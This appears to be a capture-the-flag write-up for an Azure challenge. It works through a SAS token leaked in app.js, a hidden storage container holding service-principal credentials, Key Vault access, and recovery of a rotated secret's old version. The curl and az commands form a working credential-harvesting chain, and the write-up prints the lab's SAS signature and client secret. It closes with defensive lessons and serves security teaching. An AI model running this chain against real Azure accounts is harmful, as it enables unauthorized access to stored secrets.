Hacker Holidays — Day 9: Crypto Cabana
An Azure static website leaks an over-scoped account SAS token, which exposes a hidden storage container holding service-principal credentials — and from there, a Key Vault secret whose "rotated" value is still recoverable in its previous version.

Event: Hacker Holidays — The Byte Lotus Hotel · Day 9 · Cloud (Azure — Storage + Key Vault) Target:
https://cryptocabanaf5scjagc.z13.web.core.windows.net/
The Chain at a Glance
- Static-website
app.jsleaks an over-scoped account SAS token. - The SAS (
srt=sco,sp=rl) lets you list all containers → find a hiddenvaultcontainer. vaultholds a service principal’s credentials + Key Vault name.- Log in as the SP → Key Vault holds three flag shards; shard-2 was rotated.
- Read the previous secret version of shard-2 → reassemble the flag.
Matches the briefing: “what the kiosk is quietly trusting to reach into storage” (the SAS/SP), “a vault that won’t give up the real values on the first ask” (Key Vault secret versioning), and @0xMia’s “if a value looks freshly rotated, ask what it looked like five minutes before.”
Step 1 — What the Kiosk Hands Out for Free
The site is an Azure Static Website on a Storage Account. Its only script leaks the credential:
curl -s https://cryptocabanaf5scjagc.z13.web.core.windows.net/app.js
const STORAGE_ACCOUNT = "cryptocabanaf5scjagc";
const BACKUPS_CONTAINER = "backups";
const BACKUP_SAS = "?sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31...&sig=ZAo05W8KX...";
The SAS is badly over-scoped:
ss=bblob service,srt=sco= service + container + objectsp=rl= read + list, valid until 2099
srt including s (service level) means it can list every container in the
account, not just backups.
Step 2 — Follow the Trust the Page Never Points To
SAS='sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D'
curl -s "https://cryptocabanaf5scjagc.blob.core.windows.net/?comp=list&$SAS"
# Containers: $web, backups, vault <-- "vault" is never referenced by the site
List the hidden vault container:
curl -s "https://cryptocabanaf5scjagc.blob.core.windows.net/vault?restype=container&comp=list&$SAS"
# backup-service-account.json , seed_phrase.txt
Download both:
curl -s "https://cryptocabanaf5scjagc.blob.core.windows.net/vault/backup-service-account.json?$SAS"
{
"client_id": "dbcf2923-e4eb-4b72-a0a4-688aa1185cf5",
"client_secret": "UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg",
"key_vault_name": "ccabana-kv-f5scjagc",
"key_vault_uri": "https://ccabana-kv-f5scjagc.vault.azure.net/",
"tenant_id": "8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c"
}
seed_phrase.txt contains a 12-word phrase — a decoy (the real value lives in the
Key Vault).
Step 3 — Authenticate as the Service Principal
az login --service-principal \
-u dbcf2923-e4eb-4b72-a0a4-688aa1185cf5 \
-p 'UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg' \
--tenant 8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c
Step 4 — Read the Key Vault Secrets
az keyvault secret list --vault-name ccabana-kv-f5scjagc -o table
# key-shard-1, key-shard-2, key-shard-3, master-key
for s in key-shard-1 key-shard-2 key-shard-3; do
echo "== $s =="; az keyvault secret show --vault-name ccabana-kv-f5scjagc --name "$s" --query value -o tsv
done
== key-shard-1 == THM{redacted...
== key-shard-2 == Rotated this after IT flagged it -- old value should still be recoverable if you know where to look.
== key-shard-3 == ...redacted}
(master-key returns Forbidden — a rabbit hole; the SP isn’t authorised for it.) The
flag is the three shards concatenated, but shard-2 was rotated to a placeholder.
Step 5 — Recover the Previous Secret Version
Azure Key Vault keeps every prior version of a secret. Read the older version of
key-shard-2:
OLD=$(az keyvault secret list-versions --vault-name ccabana-kv-f5scjagc --name key-shard-2 \
--query "sort_by([], &attributes.created)[0].id" -o tsv)
az keyvault secret show --id "$OLD" --query value -o tsv
# (recovered middle segment of the flag)
Flag
key-shard-1 + key-shard-2 (old ver) + key-shard-3 = THM{redacted}
(“Not your keys, not your coins” — the flag confirms the theme once reassembled.)
Takeaways
- A SAS token in client-side JS is a public credential. Anything in
app.jsis anonymous-readable. This one only needed to write tobackups, but was minted withsrt=sco+listover the whole account until 2099 — so it exposed every container. Scope SAS to the exact container/permission/lifetime (sp=w, single container, short expiry), or use user-delegation SAS. - Don’t store service-principal creds in a blob. A read-list SAS turned into full SP access → Key Vault. Secrets belong in Key Vault with managed-identity access, never in a downloadable JSON.
- Key Vault secret versioning is a data-recovery path. “Rotating” a secret does
not delete the old value —
list-versions+show --idreads any prior version. If a secret ever leaks, rotating isn’t enough; you must disable/destroy old versions (or the leaked value stays retrievable by anyone withget). - Recon-from-client-code wins again: the entire foothold was one
curlofapp.js. ARM enumeration (az resource list) was empty — the path was the leaked SAS, not RBAC.